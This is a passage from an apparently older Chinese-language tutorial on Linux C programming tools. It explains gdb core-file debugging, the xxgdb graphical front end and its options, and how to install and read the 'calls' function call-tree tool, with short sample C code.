string2[size] = '';
printf ("The string printed backward is %s ", string2);
}
如果程序产生了core文件，可以用gdb hello core命令来查看程序在何处出错。如在函数
my_print2()中，如果忘记了给string2分配内存 string2 = (char *) malloc (size +
1);，很可能就会core dump.
另外的 C 编程工具
xxgdb
xxgdb 是 gdb 的一个基于 X Window 系统的图形界面. xxgdb 包括了命令行版的 gdb
上的所有特性. xxgdb 使你能通过按按钮来执行常用的命令 设置了断点的地方也用图
形来显示.
你能在一个 Xterm 窗口里键入下面的命令来运行它:
xxgdb
你能用 gdb 里任何有效的命令行选项来初始化 xxgdb . 此外 xxgdb 也有一些特有的命
令行选项, 表 27.2 列出了这些选项.
表 27.2. xxgdb 命令行选项.
选 项 描 述
db_name 指定所用调试器的名字, 缺省是 gdb.
db_prompt 指定调试器提示符, 缺省为 gdb.
gdbinit 指定初始化 gdb 的命令文件的文件名, 缺省为 .gdbinit.
nx 告诉 xxgdb 不执行 .gdbinit 文件.
bigicon 使用大图标.
calls
你可以在 sunsite.unc.edu FTP 站点用下面的路径:
/pub/Linux/devel/lang/c/calls.tar.Z
来取得 calls , 一些旧版本的 Linux CD-ROM 发行版里也附带有. 因为它是一个有用的
工具, 我们在这里也介绍一下. 如果你觉得有用的话, 从 BBS, FTP, 或另一张CD-ROM 上
弄一个拷贝. calls 调用 GCC 的预处理器来处理给出的源程序文件, 然后输出这些文件
的里的函数调用树图.
注意: 在你的系统上安装 calls , 以超级用户身份登录后执行下面的步骤: 1. 解压和
untar 文件. 2. cd 进入 calls untar 后建立的子目录. 3. 把名叫 calls 的文件移动
到 /usr/bin 目录. 4. 把名叫 calls.1 的文件移动到目录 /usr/man/man1 . 5. 删除
/tmp/calls 目录. 这些步骤将把 calls 程序和它的指南页安装载你的系统上.
------------------------------------------------------------------------------
--
当 calls 打印出调用跟踪结果时, 它在函数后面用中括号给出了函数所在文件的文件名:
main [hello.c]
如果函数并不是向 calls 给出的文件里的, calls 不知道所调用的函数来自哪里, 则只
显示函数的名字:
printf
calls 不对递归和静态函数输出. 递归函数显示成下面的样子:
fact >
静态函数象这样显示:
total [static in calculate.c]
作为一个例子, 假设用 calls 处理下面的程序:
#include
static void my_print (char *);
static void my_print2 (char *);
main ()
{
char my_string[] = "hello world!";
my_print (my_string);
my_print2 (my_string);
my_print (my_string);
}
void count_sum()
{
int i,sum=0;
for(i=0; i